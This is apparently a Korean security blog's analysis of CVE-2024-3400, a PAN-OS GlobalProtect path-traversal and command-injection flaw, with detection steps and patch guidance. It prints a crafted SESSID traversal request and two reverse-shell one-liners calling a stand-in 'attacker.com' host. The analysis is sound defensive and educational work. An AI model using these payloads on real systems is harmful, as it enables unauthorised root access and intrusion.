/CVE 분석/CVE-2024-3400
CriticalCVSS 102024-04-12

CVE-2024-3400: PAN-OS GlobalProtect OS 명령어 주입 (CVSS 10.0)

Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발견된 CVSS 10.0의 치명적 제로데이. 인증 없이 원격으로 루트 권한 명령어 실행이 가능하며 실제 공격에 악용됨.

#PAN-OS#GlobalProtect#OS Command Injection#RCE#Zero-Day

개요

항목 내용
CVE ID CVE-2024-3400
CVSS 점수 10.0 (Critical)
영향 제품 Palo Alto Networks PAN-OS (GlobalProtect 활성화 시)
취약점 유형 OS Command Injection
인증 필요 ❌ 불필요 (Pre-auth RCE)
발견 2024년 4월, Volexity
패치 2024-04-14

기본 원리: OS 명령어 주입이란

쉘 명령어와 입력값 삽입

많은 시스템 소프트웨어는 내부적으로 쉘 명령어를 실행한다. 예를 들어 VPN 장비가 세션 정보를 로그 파일에 기록하거나, 상태를 점검할 때 쉘 스크립트를 호출하는 경우가 있다.

# 취약한 패턴: 사용자 입력이 쉘 명령어에 직접 포함
session_id = request.cookies.get("SESSID")
os.system(f"echo {session_id} >> /var/log/sessions.log")

# session_id = "abc; whoami" 이면:
# echo abc; whoami >> /var/log/sessions.log
#         ↑ 세미콜론으로 명령어 분리 → whoami가 별도 실행됨

# 더 심각한 예:
# session_id = "; bash -i >& /dev/tcp/attacker.com/4444 0>&1"
# → 리버스 쉘 실행

경로 탐색(Path Traversal)과의 조합

이 취약점은 두 개의 버그가 결합되어 최대 위력을 발휘한다.

버그 1 — 경로 탐색: SESSID 쿠키 값이 파일명으로 사용될 때, ../ 같은 디렉터리 이동 문자를 포함하면 임의 경로에 파일을 생성할 수 있다.

정상: SESSID = "abc123"
      파일 생성: /var/sessdata/abc123

공격: SESSID = "/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.txt"
      파일 생성: /var/appweb/sslvpndocs/global-protect/portal/images/poc.txt
      (웹 서버가 직접 서비스하는 디렉터리!)

버그 2 — 명령어 주입: 이렇게 생성된 파일의 내용이 나중에 쉘 명령어로 실행되거나, 크론탭이 해당 경로의 파일을 실행하는 경우 RCE로 이어진다.


취약점 상세

공격 대상

PAN-OS GlobalProtect는 기업 VPN 솔루션이다. 인터넷에 직접 노출되는 게이트웨이/포털이 공격 대상이다.

공격자 (인터넷)
    ↓ HTTP 요청 (조작된 SESSID 쿠키 포함)
GlobalProtect VPN 포털/게이트웨이
    ↓ 내부 처리 중 버그 발동
PAN-OS 루트 쉘 실행

공격 흐름

1단계 — 임의 파일 생성 (Path Traversal)
GET /ssl-vpn/hipreport.esp HTTP/1.1
Host: victim-vpn.example.com
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.txt
Content-Type: application/x-www-form-urlencoded

[POST 바디에 악성 내용]
2단계 — 파일 내용 실행
생성된 파일이 특정 경로에 있으면 PAN-OS 내부 cron 또는
실행 스크립트에 의해 해당 내용이 쉘 명령어로 실행됨

악성 파일 내용 예시:
#!/bin/sh
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker.com",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

영향 받는 버전

PAN-OS 10.2 — 10.2.9-h1 미만
PAN-OS 11.0 — 11.0.4-h1 미만
PAN-OS 11.1 — 11.1.2-h3 미만

조건: GlobalProtect 게이트웨이 또는 포털 기능이 활성화된 경우에만 취약

실제 악용 사례

Volexity와 Palo Alto Unit 42의 분석:

공격 타임라인:
  2024-03-26 — 패치 전 실제 공격 시작 (제로데이 악용)
  2024-04-10 — Volexity가 침해 사고 조사 중 발견
  2024-04-12 — Palo Alto Networks에 보고
  2024-04-14 — 긴급 패치 배포

공격 그룹: UTA0218 (국가 지원 위협 그룹 추정)

공격 후 행동:
  1. CVE-2024-3400 RCE → GlobalProtect 장비 초기 장악
  2. UPSTYLE 웹쉘 배포 → 지속 접근 확보
  3. 내부 네트워크 탐색 (pivot)
  4. Active Directory 자격증명 탈취
  5. 내부 시스템 측방 이동 (Lateral Movement)

UPSTYLE 웹쉘: PAN-OS의 CSS 파일로 위장한 Python 기반 웹쉘. 정상 트래픽으로 위장하기 위해 네트워크 패킷에서 직접 명령을 파싱하는 방식 사용.


탐지 방법

# PAN-OS 로그에서 비정상적인 SESSID 패턴 확인
grep -E "SESSID=.*\.\." /var/log/pan/gp*.log

# 최근 생성된 파일 확인 (PAN-OS 기동 시점 기준)
find /var/appweb/sslvpndocs/ -newer /var/log/pan/start.log -type f

# 비정상적인 Python 프로세스 확인
ps aux | grep python

Palo Alto 공식 Threat Prevention 시그니처:

  • Threat ID 95187 — GlobalProtect 활성화 + Threat Prevention 구독 시 임시 차단 가능

대응 방법

1. 즉시 패치 (최우선):
   - 영향 받는 PAN-OS를 수정 버전으로 업그레이드
   - 10.2 → 10.2.9-h1 이상
   - 11.0 → 11.0.4-h1 이상
   - 11.1 → 11.1.2-h3 이상

2. 패치 전 임시 조치:
   - GlobalProtect 게이트웨이/포털 기능 비활성화
   - Threat Prevention 시그니처 95187 활성화

3. 침해 여부 확인:
   - 의심스러운 파일 생성 로그 검토
   - 비정상적인 프로세스/네트워크 연결 확인
   - 접속한 외부 IP 목록 감사

교훈: 입력값 검증의 중요성

이 취약점은 두 개의 약한 버그가 결합되어 CVSS 10.0이 된 사례다.

버그 1 단독: 경로 탐색으로 임의 파일 생성 → 웹 콘텐츠 변조 (심각)
버그 2 단독: 특정 파일 내용 실행 → 제한적 영향 (중간)
두 버그 결합: 인증 없이 루트 RCE → CVSS 10.0

방어 원칙:
  - 사용자 입력을 파일명/경로에 사용 시: 경로 정규화(canonicalization) + 화이트리스트
  - 사용자 입력을 쉘 명령에 사용 시: 절대 사용 금지, subprocess 모듈 + 배열 인수 사용
  - 최소 권한 원칙: 웹 서버 프로세스가 루트로 실행되지 않도록

CVSS 10.0은 매우 드물다. 인증 불필요 + 완전한 시스템 제어 + 실제 야생 악용이 결합된 결과다.